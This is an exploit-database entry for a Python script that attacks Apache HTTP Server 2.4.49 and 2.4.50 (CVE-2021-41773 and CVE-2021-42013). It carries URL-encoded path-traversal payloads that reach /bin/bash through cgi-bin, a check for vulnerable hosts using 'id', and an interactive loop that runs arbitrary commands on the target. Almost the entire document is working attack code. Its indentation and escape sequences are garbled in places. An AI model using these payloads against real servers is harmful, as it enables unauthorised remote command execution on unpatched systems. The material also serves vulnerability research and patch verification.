Exploit/Advisories

# Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
# Date: 11/11/2021
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://apache.org/
# Software Link: https://github.com/Balgogan/CVE-2021-41773
# Version: Apache 2.4.49/2.4.50 (CGI enabled)
# Tested on: Debian GNU/Linux
# CVE : CVE-2021-41773 / CVE-2021-42013
# Credits : Lucas Schnell

#!/usr/bin/env python3
#coding: utf-8

import os
import re
import sys
import time
import requests
from colorama import Fore,Style

header = '''33[1;91m

▄▄▄ ██▓███ ▄▄▄ ▄████▄ ██░ ██ ▓█████ ██▀███ ▄████▄ ▓█████
▒████▄ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ▓██░ ██▒▓█ ▀ ▓██ ▒ ██▒▒██▀ ▀█ ▓█ ▀
▒██ ▀█▄ ▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▒██▀▀██░▒███ ▓██ ░▄█ ▒▒▓█ ▄ ▒███
░██▄▄▄▄██ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█ ▄ ▒██▀▀█▄ ▒▓▓▄ ▄██▒▒▓█ ▄
▓█ ▓██▒▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░░▓█▒░██▓░▒████▒ ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒
▒▒ ▓▒█░▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░ ░ ▒▓ ░▒▓░░ ░▒ ▒ ░░░ ▒░ ░
▒ ▒▒ ░░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ░▒░ ░ ░ ░ ░ ░▒ ░ ▒░ ░ ▒ ░ ░ ░
░ ▒ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░
''' + Style.RESET_ALL

if len(sys.argv) < 2 :
print( 'Use: python3 file.py ip:port ' )
sys.exit()

def end():
print("t33[1;91m[!] Bye bye !")
time.sleep(0.5)
sys.exit(1)

def commands(url,command,session):
directory = mute_command(url,'pwd')
user = mute_command(url,'whoami')
hostname = mute_command(url,'hostname')
advise = print(Fore.YELLOW + 'Reverse shell is advised (This isn't an interactive shell)')
command = input(f"{Fore.RED}╭─{Fore.GREEN + user}@{hostname}: {Fore.BLUE + directory}n{Fore.RED}╰─{Fore.YELLOW}$ {Style.RESET_ALL}")
command = f"echo; {command};"
req = requests.Request('POST', url=url, data=command)
prepare = req.prepare()
prepare.url = url
response = session.send(prepare, timeout=5)
output = response.text
print(output)
if 'clear' in command:
os.system('/usr/bin/clear')
print(header)
if 'exit' in command:
end()

def mute_command(url,command):
session = requests.Session()
req = requests.Request('POST', url=url, data=f"echo; {command}")
prepare = req.prepare()
prepare.url = url
response = session.send(prepare, timeout=5)
return response.text.strip()

def exploitRCE(payload):
s = requests.Session()
try:
host = sys.argv[1]
if 'http' not in host:
url = 'http://'+ host + payload
else:
url = host + payload
session = requests.Session()
command = "echo; id"
req = requests.Request('POST', url=url, data=command)
prepare = req.prepare()
prepare.url = url
response = session.send(prepare, timeout=5)
output = response.text
if "uid" in output:
choice = "Y"
print( Fore.GREEN + 'n[!] Target %s is vulnerable !!!' % host)
print("[!] Sortie:nn" + Fore.YELLOW + output )
choice = input(Fore.CYAN + "[?] Do you want to exploit this RCE ? (Y/n) : ")
if choice.lower() in ['','y','yes']:
while True:
commands(url,command,session)
else:
end()
else :
print(Fore.RED + 'nTarget %s isn't vulnerable' % host)
except KeyboardInterrupt:
end()

def main():
try:
apache2449_payload = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash'
apache2450_payload = '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash'
payloads = [apache2449_payload,apache2450_payload]
choice = len(payloads) + 1
print(header)
print("33[1;37m[0] Apache 2.4.49 RCEn[1] Apache 2.4.50 RCE")
while choice >= len(payloads) and choice >= 0:
choice = int(input('[~] Choice : '))
if choice < len(payloads):
exploitRCE(payloads[choice])
except KeyboardInterrupt:
print("n33[1;91m[!] Bye bye !")
time.sleep(0.5)
sys.exit(1)

if __name__ == '__main__':
main()

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